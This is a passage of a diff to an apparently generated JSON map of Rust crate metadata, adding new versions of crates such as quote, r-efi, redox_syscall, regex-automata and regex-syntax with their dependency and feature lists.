not(target_os=\\\"vita\\\")))\"},{\"kind\":\"dev\",\"name\":\"socket2\",\"req\":\"^0.6.0\"},{\"default_features\":false,\"name\":\"tracing\",\"optional\":true,\"req\":\"^0.1.37\"},{\"features\":[\"Wdk_Foundation\",\"Wdk_Storage_FileSystem\",\"Win32_Foundation\",\"Win32_Networking_WinSock\",\"Win32_Security\",\"Win32_Storage_FileSystem\",\"Win32_System_IO\",\"Win32_System_LibraryLoader\",\"Win32_System_Threading\",\"Win32_System_WindowsProgramming\"],\"name\":\"windows-sys\",\"req\":\"^0.61\",\"target\":\"cfg(windows)\"}],\"features\":{}}", @@ -1147,7 +1183,9 @@ "quinn-udp_0.5.14": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cfg_aliases\",\"req\":\"^0.2\"},{\"default_features\":false,\"features\":[\"async_tokio\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7\"},{\"name\":\"libc\",\"req\":\"^0.2.158\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"once_cell\",\"req\":\"^1.19\",\"target\":\"cfg(windows)\"},{\"name\":\"socket2\",\"req\":\">=0.5, <0.7\",\"target\":\"cfg(not(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\")))\"},{\"features\":[\"sync\",\"rt\",\"rt-multi-thread\",\"net\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.28.1\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"tracing\",\"optional\":true,\"req\":\"^0.1.10\"},{\"features\":[\"Win32_Foundation\",\"Win32_System_IO\",\"Win32_Networking_WinSock\"],\"name\":\"windows-sys\",\"req\":\">=0.52, <=0.60\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[\"tracing\",\"log\"],\"direct-log\":[\"dep:log\"],\"fast-apple-datapath\":[],\"log\":[\"tracing/log\"]}}", "quinn_0.11.9": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.22\"},{\"name\":\"async-io\",\"optional\":true,\"req\":\"^2\"},{\"name\":\"async-std\",\"optional\":true,\"req\":\"^1.11\"},{\"kind\":\"dev\",\"name\":\"bencher\",\"req\":\"^0.1.5\"},{\"name\":\"bytes\",\"req\":\"^1\"},{\"kind\":\"build\",\"name\":\"cfg_aliases\",\"req\":\"^0.2\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"clap\",\"req\":\"^4\"},{\"kind\":\"dev\",\"name\":\"crc\",\"req\":\"^3\"},{\"kind\":\"dev\",\"name\":\"directories-next\",\"req\":\"^2\"},{\"name\":\"futures-io\",\"optional\":true,\"req\":\"^0.3.19\"},{\"name\":\"pin-project-lite\",\"req\":\"^0.2\"},{\"default_features\":false,\"name\":\"proto\",\"package\":\"quinn-proto\",\"req\":\"^0.11.12\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"rcgen\",\"req\":\"^0.14\"},{\"name\":\"rustc-hash\",\"req\":\"^2\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"rustls\",\"optional\":true,\"req\":\"^0.23.5\"},{\"kind\":\"dev\",\"name\":\"rustls-pemfile\",\"req\":\"^2\"},{\"name\":\"smol\",\"optional\":true,\"req\":\"^2\"},{\"name\":\"socket2\",\"req\":\">=0.5, <0.7\",\"target\":\"cfg(not(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\")))\"},{\"name\":\"thiserror\",\"req\":\"^2.0.3\"},{\"features\":[\"sync\"],\"name\":\"tokio\",\"req\":\"^1.28.1\"},{\"features\":[\"sync\",\"rt\",\"rt-multi-thread\",\"time\",\"macros\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.28.1\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"tracing\",\"req\":\"^0.1.10\"},{\"default_features\":false,\"features\":[\"std-future\"],\"kind\":\"dev\",\"name\":\"tracing-futures\",\"req\":\"^0.2.0\"},{\"default_features\":false,\"features\":[\"env-filter\",\"fmt\",\"ansi\",\"time\",\"local-time\"],\"kind\":\"dev\",\"name\":\"tracing-subscriber\",\"req\":\"^0.3.0\"},{\"default_features\":false,\"features\":[\"tracing\"],\"name\":\"udp\",\"package\":\"quinn-udp\",\"req\":\"^0.5\"},{\"kind\":\"dev\",\"name\":\"url\",\"req\":\"^2\"},{\"name\":\"web-time\",\"req\":\"^1\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"}],\"features\":{\"aws-lc-rs\":[\"proto/aws-lc-rs\"],\"aws-lc-rs-fips\":[\"proto/aws-lc-rs-fips\"],\"bloom\":[\"proto/bloom\"],\"default\":[\"log\",\"platform-verifier\",\"runtime-tokio\",\"rustls-ring\",\"bloom\"],\"lock_tracking\":[],\"log\":[\"tracing/log\",\"proto/log\",\"udp/log\"],\"platform-verifier\":[\"proto/platform-verifier\"],\"qlog\":[\"proto/qlog\"],\"ring\":[\"proto/ring\"],\"runtime-async-std\":[\"async-io\",\"async-std\"],\"runtime-smol\":[\"async-io\",\"smol\"],\"runtime-tokio\":[\"tokio/time\",\"tokio/rt\",\"tokio/net\"],\"rustls\":[\"rustls-ring\"],\"rustls-aws-lc-rs\":[\"dep:rustls\",\"aws-lc-rs\",\"proto/rustls-aws-lc-rs\",\"proto/aws-lc-rs\"],\"rustls-aws-lc-rs-fips\":[\"dep:rustls\",\"aws-lc-rs-fips\",\"proto/rustls-aws-lc-rs-fips\",\"proto/aws-lc-rs-fips\"],\"rustls-log\":[\"rustls?/logging\"],\"rustls-ring\":[\"dep:rustls\",\"ring\",\"proto/rustls-ring\",\"proto/ring\"]}}", "quote_1.0.44": "{\"dependencies\":[{\"default_features\":false,\"name\":\"proc-macro2\",\"req\":\"^1.0.80\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0\"},{\"features\":[\"diff\"],\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.108\"}],\"features\":{\"default\":[\"proc-macro\"],\"proc-macro\":[\"proc-macro2/proc-macro\"]}}", + "quote_1.0.45": "{\"dependencies\":[{\"default_features\":false,\"name\":\"proc-macro2\",\"req\":\"^1.0.80\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0\"},{\"features\":[\"diff\"],\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.108\"}],\"features\":{\"default\":[\"proc-macro\"],\"proc-macro\":[\"proc-macro2/proc-macro\"]}}", "r-efi_5.3.0": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"}],\"features\":{\"efiapi\":[],\"examples\":[\"native\"],\"native\":[],\"rustc-dep-of-std\":[\"core\"]}}", + "r-efi_6.0.0": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"}],\"features\":{\"native\":[],\"rustc-dep-of-std\":[\"core\"]}}", "radix_trie_0.2.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.3\"},{\"name\":\"endian-type\",\"req\":\"^0.1.2\"},{\"name\":\"nibble_vec\",\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.3\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\"^1.0\"}],\"features\":{}}", "radix_trie_0.3.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.3\"},{\"name\":\"endian-type\",\"req\":\"^0.2.0\"},{\"name\":\"nibble_vec\",\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.8\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\"^1.0\"}],\"features\":{}}", "rama-core_0.3.0-alpha.4": "{\"dependencies\":[{\"name\":\"ahash\",\"req\":\"^0.8\"},{\"name\":\"asynk-strim\",\"req\":\"^0.1\"},{\"name\":\"bytes\",\"req\":\"^1\"},{\"name\":\"futures\",\"req\":\"^0.3\"},{\"default_features\":false,\"features\":[\"trace\"],\"name\":\"opentelemetry\",\"optional\":true,\"req\":\"^0.31\"},{\"features\":[\"semconv_experimental\"],\"name\":\"opentelemetry-semantic-conventions\",\"optional\":true,\"req\":\"^0.31\"},{\"default_features\":false,\"features\":[\"trace\",\"rt-tokio\"],\"name\":\"opentelemetry_sdk\",\"optional\":true,\"req\":\"^0.31\"},{\"name\":\"parking_lot\",\"req\":\"^0.12\"},{\"name\":\"pin-project-lite\",\"req\":\"^0.2\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0\"},{\"name\":\"rama-error\",\"req\":\"^0.3.0-alpha.4\"},{\"name\":\"rama-macros\",\"req\":\"^0.3.0-alpha.4\"},{\"name\":\"rama-utils\",\"req\":\"^0.3.0-alpha.4\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"},{\"name\":\"serde\",\"req\":\"^1.0\"},{\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"features\":[\"macros\",\"fs\",\"io-std\"],\"name\":\"tokio\",\"req\":\"^1.48\"},{\"features\":[\"full\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.48\"},{\"name\":\"tokio-graceful\",\"req\":\"^0.2\"},{\"kind\":\"dev\",\"name\":\"tokio-test\",\"req\":\"^0.4\"},{\"features\":[\"codec\",\"io\",\"io-util\"],\"name\":\"tokio-util\",\"req\":\"^0.7\"},{\"name\":\"tracing\",\"req\":\"^0.1\"},{\"name\":\"tracing-opentelemetry\",\"optional\":true,\"req\":\"^0.32\"}],\"features\":{\"default\":[],\"opentelemetry\":[\"dep:opentelemetry\",\"dep:opentelemetry-semantic-conventions\",\"dep:opentelemetry_sdk\",\"dep:tracing-opentelemetry\"]}}", @@ -1179,13 +1217,16 @@ "rcgen_0.14.7": "{\"dependencies\":[{\"default_features\":false,\"name\":\"aws-lc-rs\",\"optional\":true,\"req\":\"^1.13.3\"},{\"kind\":\"dev\",\"name\":\"openssl\",\"req\":\"^0.10\",\"target\":\"cfg(unix)\"},{\"name\":\"pem\",\"optional\":true,\"req\":\"^3.0.2\"},{\"name\":\"pki-types\",\"package\":\"rustls-pki-types\",\"req\":\"^1.4.1\"},{\"name\":\"ring\",\"optional\":true,\"req\":\"^0.17\"},{\"default_features\":false,\"name\":\"time\",\"req\":\"^0.3.6\"},{\"name\":\"x509-parser\",\"optional\":true,\"req\":\"^0.18\"},{\"features\":[\"time\",\"std\"],\"name\":\"yasna\",\"req\":\"^0.5.2\"},{\"name\":\"zeroize\",\"optional\":true,\"req\":\"^1.2\"}],\"features\":{\"aws_lc_rs\":[\"crypto\",\"dep:aws-lc-rs\",\"aws-lc-rs/aws-lc-sys\",\"x509-parser?/verify-aws\"],\"aws_lc_rs_unstable\":[\"aws_lc_rs\",\"aws-lc-rs/unstable\",\"x509-parser?/verify-aws\"],\"crypto\":[],\"default\":[\"crypto\",\"pem\",\"ring\"],\"fips\":[\"crypto\",\"dep:aws-lc-rs\",\"aws-lc-rs/fips\"],\"ring\":[\"crypto\",\"dep:ring\",\"x509-parser?/verify\"]}}", "redox_syscall_0.5.18": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2.4\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"loom\",\"req\":\"^0.7\",\"target\":\"cfg(loom)\"}],\"features\":{\"default\":[\"userspace\"],\"rustc-dep-of-std\":[\"core\",\"bitflags/rustc-dep-of-std\"],\"std\":[],\"userspace\":[]}}", "redox_syscall_0.7.0": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2.4\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"loom\",\"req\":\"^0.7\",\"target\":\"cfg(loom)\"}],\"features\":{\"default\":[\"userspace\"],\"rustc-dep-of-std\":[\"core\",\"bitflags/rustc-dep-of-std\"],\"std\":[],\"userspace\":[]}}", + "redox_syscall_0.7.3": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2.4\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"loom\",\"req\":\"^0.7\",\"target\":\"cfg(loom)\"}],\"features\":{\"default\":[\"userspace\"],\"rustc-dep-of-std\":[\"core\",\"bitflags/rustc-dep-of-std\"],\"std\":[],\"userspace\":[]}}", "redox_users_0.4.6": "{\"dependencies\":[{\"features\":[\"std\"],\"name\":\"getrandom\",\"req\":\"^0.2\"},{\"default_features\":false,\"features\":[\"std\",\"call\"],\"name\":\"libredox\",\"req\":\"^0.1.3\"},{\"name\":\"rust-argon2\",\"optional\":true,\"req\":\"^0.8\"},{\"name\":\"thiserror\",\"req\":\"^1.0\"},{\"features\":[\"zeroize_derive\"],\"name\":\"zeroize\",\"optional\":true,\"req\":\"^1.4\"}],\"features\":{\"auth\":[\"rust-argon2\",\"zeroize\"],\"default\":[\"auth\"]}}", "redox_users_0.5.2": "{\"dependencies\":[{\"features\":[\"std\"],\"name\":\"getrandom\",\"req\":\"^0.2\"},{\"default_features\":false,\"features\":[\"std\",\"call\"],\"name\":\"libredox\",\"req\":\"^0.1.3\"},{\"name\":\"rust-argon2\",\"optional\":true,\"req\":\"^0.8\"},{\"name\":\"thiserror\",\"req\":\"^2.0\"},{\"features\":[\"zeroize_derive\"],\"name\":\"zeroize\",\"optional\":true,\"req\":\"^1.4\"}],\"features\":{\"auth\":[\"rust-argon2\",\"zeroize\"],\"default\":[\"auth\"]}}", "ref-cast-impl_1.0.25": "{\"dependencies\":[{\"name\":\"proc-macro2\",\"req\":\"^1.0.74\"},{\"name\":\"quote\",\"req\":\"^1.0.35\"},{\"kind\":\"dev\",\"name\":\"ref-cast\",\"req\":\"^1\"},{\"name\":\"syn\",\"req\":\"^2.0.46\"}],\"features\":{}}", "ref-cast_1.0.25": "{\"dependencies\":[{\"name\":\"ref-cast-impl\",\"req\":\"=1.0.25\"},{\"kind\":\"dev\",\"name\":\"ref-cast-test-suite\",\"req\":\"^0\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0.13\"},{\"features\":[\"diff\"],\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.108\"}],\"features\":{}}", "regex-automata_0.4.13": "{\"dependencies\":[{\"default_features\":false,\"name\":\"aho-corasick\",\"optional\":true,\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.69\"},{\"default_features\":false,\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"bstr\",\"req\":\"^1.3.0\"},{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3.3\"},{\"default_features\":false,\"features\":[\"atty\",\"humantime\",\"termcolor\"],\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.9.3\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.14\"},{\"default_features\":false,\"name\":\"memchr\",\"optional\":true,\"req\":\"^2.6.0\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.3\"},{\"default_features\":false,\"name\":\"regex-syntax\",\"optional\":true,\"req\":\"^0.8.5\"},{\"kind\":\"dev\",\"name\":\"regex-test\",\"req\":\"^0.1.0\"}],\"features\":{\"alloc\":[],\"default\":[\"std\",\"syntax\",\"perf\",\"unicode\",\"meta\",\"nfa\",\"dfa\",\"hybrid\"],\"dfa\":[\"dfa-build\",\"dfa-search\",\"dfa-onepass\"],\"dfa-build\":[\"nfa-thompson\",\"dfa-search\"],\"dfa-onepass\":[\"nfa-thompson\"],\"dfa-search\":[],\"hybrid\":[\"alloc\",\"nfa-thompson\"],\"internal-instrument\":[\"internal-instrument-pikevm\"],\"internal-instrument-pikevm\":[\"logging\",\"std\"],\"logging\":[\"dep:log\",\"aho-corasick?/logging\",\"memchr?/logging\"],\"meta\":[\"syntax\",\"nfa-pikevm\"],\"nfa\":[\"nfa-thompson\",\"nfa-pikevm\",\"nfa-backtrack\"],\"nfa-backtrack\":[\"nfa-thompson\"],\"nfa-pikevm\":[\"nfa-thompson\"],\"nfa-thompson\":[\"alloc\"],\"perf\":[\"perf-inline\",\"perf-literal\"],\"perf-inline\":[],\"perf-literal\":[\"perf-literal-substring\",\"perf-literal-multisubstring\"],\"perf-literal-multisubstring\":[\"dep:aho-corasick\"],\"perf-literal-substring\":[\"aho-corasick?/perf-literal\",\"dep:memchr\"],\"std\":[\"regex-syntax?/std\",\"memchr?/std\",\"aho-corasick?/std\",\"alloc\"],\"syntax\":[\"dep:regex-syntax\",\"alloc\"],\"unicode\":[\"unicode-age\",\"unicode-bool\",\"unicode-case\",\"unicode-gencat\",\"unicode-perl\",\"unicode-script\",\"unicode-segment\",\"unicode-word-boundary\",\"regex-syntax?/unicode\"],\"unicode-age\":[\"regex-syntax?/unicode-age\"],\"unicode-bool\":[\"regex-syntax?/unicode-bool\"],\"unicode-case\":[\"regex-syntax?/unicode-case\"],\"unicode-gencat\":[\"regex-syntax?/unicode-gencat\"],\"unicode-perl\":[\"regex-syntax?/unicode-perl\"],\"unicode-script\":[\"regex-syntax?/unicode-script\"],\"unicode-segment\":[\"regex-syntax?/unicode-segment\"],\"unicode-word-boundary\":[]}}", + "regex-automata_0.4.14": "{\"dependencies\":[{\"default_features\":false,\"name\":\"aho-corasick\",\"optional\":true,\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.69\"},{\"default_features\":false,\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"bstr\",\"req\":\"^1.3.0\"},{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3.3\"},{\"default_features\":false,\"features\":[\"atty\",\"humantime\",\"termcolor\"],\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.9.3\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.14\"},{\"default_features\":false,\"name\":\"memchr\",\"optional\":true,\"req\":\"^2.6.0\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.3\"},{\"default_features\":false,\"name\":\"regex-syntax\",\"optional\":true,\"req\":\"^0.8.5\"},{\"kind\":\"dev\",\"name\":\"regex-test\",\"req\":\"^0.1.0\"}],\"features\":{\"alloc\":[],\"default\":[\"std\",\"syntax\",\"perf\",\"unicode\",\"meta\",\"nfa\",\"dfa\",\"hybrid\"],\"dfa\":[\"dfa-build\",\"dfa-search\",\"dfa-onepass\"],\"dfa-build\":[\"nfa-thompson\",\"dfa-search\"],\"dfa-onepass\":[\"nfa-thompson\"],\"dfa-search\":[],\"hybrid\":[\"alloc\",\"nfa-thompson\"],\"internal-instrument\":[\"internal-instrument-pikevm\"],\"internal-instrument-pikevm\":[\"logging\",\"std\"],\"logging\":[\"dep:log\",\"aho-corasick?/logging\",\"memchr?/logging\"],\"meta\":[\"syntax\",\"nfa-pikevm\"],\"nfa\":[\"nfa-thompson\",\"nfa-pikevm\",\"nfa-backtrack\"],\"nfa-backtrack\":[\"nfa-thompson\"],\"nfa-pikevm\":[\"nfa-thompson\"],\"nfa-thompson\":[\"alloc\"],\"perf\":[\"perf-inline\",\"perf-literal\"],\"perf-inline\":[],\"perf-literal\":[\"perf-literal-substring\",\"perf-literal-multisubstring\"],\"perf-literal-multisubstring\":[\"dep:aho-corasick\"],\"perf-literal-substring\":[\"aho-corasick?/perf-literal\",\"dep:memchr\"],\"std\":[\"regex-syntax?/std\",\"memchr?/std\",\"aho-corasick?/std\",\"alloc\"],\"syntax\":[\"dep:regex-syntax\",\"alloc\"],\"unicode\":[\"unicode-age\",\"unicode-bool\",\"unicode-case\",\"unicode-gencat\",\"unicode-perl\",\"unicode-script\",\"unicode-segment\",\"unicode-word-boundary\",\"regex-syntax?/unicode\"],\"unicode-age\":[\"regex-syntax?/unicode-age\"],\"unicode-bool\":[\"regex-syntax?/unicode-bool\"],\"unicode-case\":[\"regex-syntax?/unicode-case\"],\"unicode-gencat\":[\"regex-syntax?/unicode-gencat\"],\"unicode-perl\":[\"regex-syntax?/unicode-perl\"],\"unicode-script\":[\"regex-syntax?/unicode-script\"],\"unicode-segment\":[\"regex-syntax?/unicode-segment\"],\"unicode-word-boundary\":[]}}", "regex-lite_0.1.8": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.69\"},{\"kind\":\"dev\",\"name\":\"regex-test\",\"req\":\"^0.1.0\"}],\"features\":{\"default\":[\"std\",\"string\"],\"std\":[],\"string\":[]}}", "regex-syntax_0.6.29": "{\"dependencies\":[],\"features\":{\"default\":[\"unicode\"],\"unicode\":[\"unicode-age\",\"unicode-bool\",\"unicode-case\",\"unicode-gencat\",\"unicode-perl\",\"unicode-script\",\"unicode-segment\"],\"unicode-age\":[],\"unicode-bool\":[],\"unicode-case\":[],\"unicode-gencat\":[],\"unicode-perl\":[],\"unicode-script\":[],\"unicode-segment\":[]}}", + "regex-syntax_0.8.10": "{\"dependencies\":[{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1.3.0\"}],\"features\":{\"arbitrary\":[\"dep:arbitrary\"],\"default\":[\"std\",\"unicode\"],\"std\":[],\"unicode\":[\"unicode-age\",\"unicode-bool\",\"unicode-case\",\"unicode-gencat\",\"unicode-perl\",\"unicode-script\",\"unicode-segment\"],\"unicode-age\":[],\"unicode-bool\":[],\"unicode-case\":[],\"unicode-gencat\":[],\"unicode-perl\":[],\"unicode-script\":[],\"unicode-segment\":[]}}", "regex-syntax_0.8.8": "{\"dependencies\":[{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1.3.0\"}],\"features\":{\"arbitrary\":[\"dep:arbitrary\"],\"default\":[\"std\",\"unicode\"],\"std\":[],\"unicode\":[\"unicode-age\",\"unicode-bool\",\"unicode-case\",\"unicode-gencat\",\"unicode-perl\",\"unicode-script\",\"unicode-segment\"],\"unicode-age\":[],\"unicode-bool\":[],\"unicode-case\":[],\"unicode-gencat\":[],\"unicode-perl\":[],\"unicode-script\":[],\"unicode-segment\":[]}}", "regex_1.12.3": "{\"dependencies\":[{\"default_features\":false,\"name\":\"aho-corasick\",\"optional\":true,\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.69\"},{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\"},{\"default_features\":false,\"features\":[\"atty\",\"humantime\",\"termcolor\"],\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.9.3\"},{\"default_features\":false,\"name\":\"memchr\",\"optional\":true,\"req\":\"^2.6.0\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.3\"},{\"default_features\":false,\"features\":[\"alloc\",\"syntax\",\"meta\",\"nfa-pikevm\"],\"name\":\"regex-automata\",\"req\":\"^0.4.12\"},{\"default_features\":false,\"name\":\"regex-syntax\",\"req\":\"^0.8.5\"},{\"kind\":\"dev\",\"name\":\"regex-test\",\"req\":\"^0.1.0\"}],\"features\":{\"default\":[\"std\",\"perf\",\"unicode\",\"regex-syntax/default\"],\"logging\":[\"aho-corasick?/logging\",\"memchr?/logging\",\"regex-automata/logging\"],\"pattern\":[],\"perf\":[\"perf-cache\",\"perf-dfa\",\"perf-onepass\",\"perf-backtrack\",\"perf-inline\",\"perf-literal\"],\"perf-backtrack\":[\"regex-automata/nfa-backtrack\"],\"perf-cache\":[],\"perf-dfa\":[\"regex-automata/hybrid\"],\"perf-dfa-full\":[\"regex-automata/dfa-build\",\"regex-automata/dfa-search\"],\"perf-inline\":[\"regex-automata/perf-inline\"],\"perf-literal\":[\"dep:aho-corasick\",\"dep:memchr\",\"regex-automata/perf-literal\"],\"perf-onepass\":[\"regex-automata/dfa-onepass\"],\"std\":[\"aho-corasick?/std\",\"memchr?/std\",\"regex-automata/std\",\"regex-syntax/std\"],\"unicode\":[\"unicode-age\",\"unicode-bool\",\"unicode-case\",\"unicode-gencat\",\"unicode-perl\",\"unicode-script\",\"unicode-segment\",\"regex-automata/unicode\",\"regex-syntax/unicode\"],\"unicode-age\":[\"regex-automata/unicode-age\",\"regex-syntax/unicode-age\"],\"unicode-bool\":[\"regex-automata/unicode-bool\",\"regex-syntax/unicode-bool\"],\"unicode-case\":[\"regex-automata/unicode-case\",\"regex-syntax/unicode-case\"],\"unicode-gencat\":[\"regex-automata/unicode-gencat\",\"regex-syntax/unicode-gencat\"],\"unicode-perl\":[\"regex-automata/unicode-perl\",\"regex-automata/unicode-word-boundary\",\"regex-syntax/unicode-perl\"],\"unicode-script\":[\"regex-automata/unicode-script\",\"regex-syntax/unicode-script\"],\"unicode-segment\":[\"regex-automata/unicode-segment\",\"regex-syntax/unicode-segment\"],\"unstable\":[\"pattern\"],\"use_std\":[\"std\"]}}", "reqwest_0.12.28": "{\"dependencies\":[{\"name\":\"base64\",\"req\":\"^0.22\"},{\"kind\":\"dev\",\"name\":\"brotli_crate\",\"package\":\"brotli\",\"req\":\"^8\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"bytes\",\"req\":\"^1.2\"},{\"name\":\"cookie_crate\",\"optional\":true,\"package\":\"cookie\",\"req\":\"^0.18.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"cookie_store\",\"optional\":true,\"req\":\"^0.22.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"encoding_rs\",\"optional\":true,\"req\":\"^0.8\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.10\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"kind\":\"dev\",\"name\":\"flate2\",\"req\":\"^1.0.13\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"futures-channel\",\"optional\":true,\"req\":\"^0.3\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"name\":\"futures-core\",\"req\":\"^0.3.28\"},{\"default_features\":false,\"name\":\"futures-util\",\"optional\":true,\"req\":\"^0.3.28\"},{\"default_features\":false,\"features\":[\"std\",\"alloc\"],\"kind\":\"dev\",\"name\":\"futures-util\",\"req\":\"^0.3.28\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"h2\",\"optional\":true,\"req\":\"^0.4\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"h3\",\"optional\":true,\"req\":\"^0.0.8\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"h3-quinn\",\"optional\":true,\"req\":\"^0.0.10\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"features\":[\"tokio\"],\"name\":\"hickory-resolver\",\"optional\":true,\"req\":\"^0.25\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"http\",\"req\":\"^1.1\"},{\"name\":\"http-body\",\"req\":\"^1\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"http-body-util\",\"req\":\"^0.1.2\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"features\":[\"http1\",\"client\"],\"name\":\"hyper\",\"req\":\"^1.1\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"http1\",\"http2\",\"client\",\"server\"],\"kind\":\"dev\",\"name\":\"hyper\",\"req\":\"^1.1.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"http1\",\"tls12\"],\"name\":\"hyper-rustls\",\"optional\":true,\"req\":\"^0.27.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"hyper-tls\",\"optional\":true,\"req\":\"^0.6\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"features\":[\"http1\",\"client\",\"client-legacy\",\"client-proxy\",\"tokio\"],\"name\":\"hyper-util\",\"req\":\"^0.1.12\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"features\":[\"http1\",\"http2\",\"client\",\"client-legacy\",\"server-auto\",\"server-graceful\",\"tokio\"],\"kind\":\"dev\",\"name\":\"hyper-util\",\"req\":\"^0.1.12\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"js-sys\",\"req\":\"^0.3.77\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0\"},{\"name\":\"log\",\"req\":\"^0.4.17\",\"target\":\"cfg(not(target_arch = 